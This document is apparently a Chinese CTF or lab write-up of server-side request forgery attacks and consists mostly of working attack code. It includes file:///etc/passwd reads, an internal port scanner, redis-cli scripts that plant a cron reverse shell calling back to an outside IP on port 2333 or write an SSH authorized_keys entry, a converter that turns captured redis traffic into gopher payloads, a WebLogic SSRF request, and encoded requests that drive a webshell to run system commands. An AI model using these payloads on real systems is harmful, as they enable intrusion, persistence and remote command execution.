SSRF

SSRF任意文件读取

http://202.112.51.130:9090/index.php?url=file:///var/www/html/index.php

http://202.112.51.130:9090/index.php?url=file:///etc/passwd

SSRF端口及内网扫描

```
import gevent
from gevent import monkey,pool; monkey.patch_all()
from gevent import Timeout
from gevent import socket
import requests

ports = ['21','22','23'
    ,'80-90'
    ,'443','8443'

,'8080','8081','8089','8088','8090','8880','8888','9090','9875','9200','930
0'
    ,'6379'#redis
    ,'1433'#sqlserver
    ,'3306'#mysql
    ,'1521'#oracle
    ,'4848'#glassfish
    ,'7001'#weblogic
    ,'8500'#coldfusion
    ,'9060','9043','9080','9043'#websphere
    ]

results = []

def test_once(ip,port,target="http://localhost:9000",timeout=1):
    session = requests.Session()
    payload="dict://{ip}:{port}".format(ip=ip,port=port)
    paramsGet = {"url":payload}
    headers =
{"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
,"Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.13; rv:55.0) Gecko/20100101
Firefox/55.0","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-
US;q=0.5,en;q=0.3","DNT":"1"}
    try:
```

```
        response = session.get(target+"/index.php", params=paramsGet,
headers=headers,timeout=timeout)
        # print("Status code:   %i" % response.status_code)
        # print("Response body: %s" % response.content)
        if(len(response.content)>0):
            print(payload)
            global results
            results.append(payload)
            return payload
    except Exception as e:
        # print(e)
        pass
    return ''

def main():
    jobs = []
    p = pool.Pool(50)
    for i in range(1,255):
        ip = "172.19.0."+str(i)
        for port in ports:
            jobs.append(p.spawn(test_once,ip,port))
    try:
        gevent.joinall(jobs)#wait all jobs done
    except Exception as e:
        print(e)
    global results
    print(results)

if __name__ == '__main__':
    main()
```

SSRF攻击redis

（对应还有memcache）

反弹shell的bash脚本：

```
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/202.112.51.130/2333
0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
```

该代码很简单，在redis的第0个数据库中添加key为1，value为\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n\n的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。

```
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
```

意思是将本地的4444端口转发到本地的6379端口。访问该服务器的4444端口，访问的其实是该服务器的6379端口。

```
> 2018/07/30 12:11:35.513816  length=90 from=0 to=89
*3\r
$3\r
set\r
$1\r
1\r
$63\r



*/1 * * * * bash -i >& /dev/tcp/202.112.51.130/2333 0>&1



\r
< 2018/07/30 12:11:35.514200  length=5 from=0 to=4
+OK\r
> 2018/07/30 12:11:35.516739  length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2018/07/30 12:11:35.517059  length=5 from=0 to=4
+OK\r
> 2018/07/30 12:11:35.519660  length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
```

```
root\r
< 2018/07/30 12:11:35.520141  length=5 from=0 to=4
+OK\r
> 2018/07/30 12:11:35.523992  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2018/07/30 12:11:35.526540  length=5 from=0 to=4
+OK\r
> 2018/07/30 12:11:35.529061  length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2018/07/30 12:11:35.529390  length=5 from=0 to=4
+OK\r
```

```python
#coding: utf-8
#author: JoyChou
import sys
exp = ''
with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第2、3字符串是否为\r
        elif line[-3:-1] == r'\r':
            # 如果该行只有\r，将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判断是否是空行，空行替换为%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp
```

```
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1 * * * * bash
-i >& /dev/tcp/202.112.51.130/2333
0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0a
dir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0
aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0
d%0a*1%0d%0a$4%0d%0aquit%0d%0a
```

最后补充一下，可进行利用的cron有如下几个地方：

- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件

SSRF攻击ssh(写入一个公钥)

```
echo -e "\n\n\n\nssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDNjOo6YRWDUNLdBDX3Y8lrEm6r9Ov9rFtYx5U/XSrSdUs
RmGW9PvAlceS4H/5aExJc04bcTXQXRHO3RJQHcKvPUIcrxOION2mvccWkehmHnTTDCUw9igqFH9
1aMg013Ist6xKnco+Nn9LKJD49rtMKG+BFOTLg4C27gLC0OZkl8itZGHTS9S8I5LTEpwLItDkbZ
BgmDKYi/kaWjlw9PWtFYNpEvrt2SBgvWnHkVzPPELfTkbiIuwHYyYZD6YAXpH3tplk5RIZoHID0
8YzdxQqjcNdEXMFuaYvfdIWIWfzbhAwKl/lSpMDOBosAbd70CdjIz7VMcoYCcArr+zNtg8Hz
root@ubuntu\n\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /root/.ssh
redis-cli -h $1 -p $2 config set dbfilename authorized_keys
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
```

SSRF攻击fastcgi

SSRF攻击weblogic、discuz等等

```
202.112.51.130:7001/uddiexplorer/SearchPublicRegistries.jsp
```

SSRF漏洞存在于`http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp`，我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT，如`http://127.0.0.1:80`：

```
GET /uddiexplorer/SearchPublicRegistries.jsp?
rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Busines
s+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
```

可访问的端口将会得到错误，一般是返回status code（如下图），如果访问的非http协议，则会返回`did not have a valid SOAP content-type`。

SSRF越权控制webshell

解答：

```
#/usr/bin/env python
# coding:utf-8
import urllib

"""
view-source:http://202.112.51.130:9000/index.php?
url=gopher://127.0.0.1:80/_POST%2520/webshe11111111.php%2520HTTP/1.1%250D%2
50AHost%253A%2520127.0.0.1%250D%250AUser-
Agent%253A%2520Mozilla/5.0%2520%2528Macintosh%253B%2520Intel%2520Mac%2520OS
%2520X%252010.13%253B%2520rv%253A55.0%2529%2520Gecko/20100101%2520Firefox/5
5.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Cap
plication/xml%253Bq%253D0.9%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-
Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Cen-
US%253Bq%253D0.5%252Cen%253Bq%253D0.3%250D%250AContent-
Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-
Length%253A%252034%250D%250ACookie%253A%2520PHPSESSID%253Dqh1pulvrmkcgil6g4
pr5gp0pc3%250D%250ADNT%253A%25201%250D%250AConnection%253A%2520close%250D%2
50AUpgrade-Insecure-
Requests%253A%25201%250D%250A%250D%250Aadmin%253Dh1admin%2526hacker%253Dsys
tem%2528%2527ls%2527%2529%253B%250D%250A%250D%250A


"""
# test = \
# """POST /webshe11111111.php HTTP/1.1
```

```
# Host: 127.0.0.1
# User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0)
Gecko/20100101 Firefox/55.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 34
# Cookie: PHPSESSID=qh1pulvrmkcgil6g4pr5gp0pc3
# DNT: 1
# Connection: close
# Upgrade-Insecure-Requests: 1

# admin=h1admin&hacker=system('ls');

# """
"""
view-source:http://202.112.51.130:9000/index.php?
url=gopher://127.0.0.1:80/_POST%2520/webshe11111111.php%2520HTTP/1.1%250D%2
50AHost%253A%2520127.0.0.1%250D%250AUser-
Agent%253A%2520Mozilla/5.0%2520%2528Macintosh%253B%2520Intel%2520Mac%2520OS
%2520X%252010.13%253B%2520rv%253A55.0%2529%2520Gecko/20100101%2520Firefox/5
5.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Cap
plication/xml%253Bq%253D0.9%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-
Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Cen-
US%253Bq%253D0.5%252Cen%253Bq%253D0.3%250D%250AContent-
Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-
Length%253A%252057%250D%250ACookie%253A%2520PHPSESSID%253Dqh1pulvrmkcgil6g4
pr5gp0pc3%250D%250ADNT%253A%25201%250D%250AConnection%253A%2520close%250D%2
50AUpgrade-Insecure-
Requests%253A%25201%250D%250A%250D%250Aadmin%253Dh1admin%2526hacker%253Dsys
tem%2528%2527cat%2520fl11111aaaaaggggg.php%2527%2529%253B%250D%250A%250D%25
0A
"""
test = \
"""POST /webshe11111111.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0)
Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Cookie: PHPSESSID=qh1pulvrmkcgil6g4pr5gp0pc3
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

admin=h1admin&hacker=system('cat fl11111aaaaaggggg.php');
```

```
"""

tmp = urllib.quote(test)
# print tmp
new = tmp.replace('%0A','%0D%0A')
# print new

result = '_'+urllib.quote(new)
print result
```